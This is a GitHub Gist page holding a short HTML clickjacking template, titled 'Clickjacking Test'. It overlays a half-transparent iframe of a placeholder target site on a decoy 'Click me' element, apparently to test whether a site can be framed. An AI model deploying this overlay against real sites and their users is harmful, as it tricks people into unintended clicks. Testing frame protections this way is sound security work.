Skip to content

Instantly share code, notes, and snippets.

@VictorNS69
Last active March 30, 2022 12:14
Show Gist options
  • Save VictorNS69/a2fe34b0ea8bd31742f13d8b0fd3ffc9 to your computer and use it in GitHub Desktop.
Save VictorNS69/a2fe34b0ea8bd31742f13d8b0fd3ffc9 to your computer and use it in GitHub Desktop.
Basic clickjacking template
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Clickjacking Test</title>
<style>
iframe {
position: relative;
width: 500px;
height: 700px;
opacity: 0.5;
z-index: 2;
}
div {
position: absolute;
top: 470px;
left: 60px;
z-index: 1;
}
</style>
</head>
<body>
<h1>Clickjacking Test</h1>
<div><b>Click me</b></div>
<!-- Put your target here -->
<iframe src="http://target.com"></iframe>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment